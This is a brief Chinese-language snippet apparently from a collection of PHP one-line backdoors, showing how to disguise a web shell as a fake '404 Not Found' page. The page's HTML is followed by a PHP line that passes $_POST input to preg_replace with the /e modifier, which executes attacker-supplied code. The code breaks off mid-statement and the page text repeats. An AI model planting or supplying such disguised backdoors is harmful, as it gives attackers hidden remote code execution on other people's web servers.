PHP一句话后门集锦

404页面的利用： !DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" htmlhead title 404 Not Found /title /headbody h1 Not Found /h1 p The requested URL was not found on this server. /p /body/html ? php @preg_replace ( "/[pageerror]/e" , $_POST

404页面的利用：

404 Not Found

Not Found

The requested URL was not found on this server.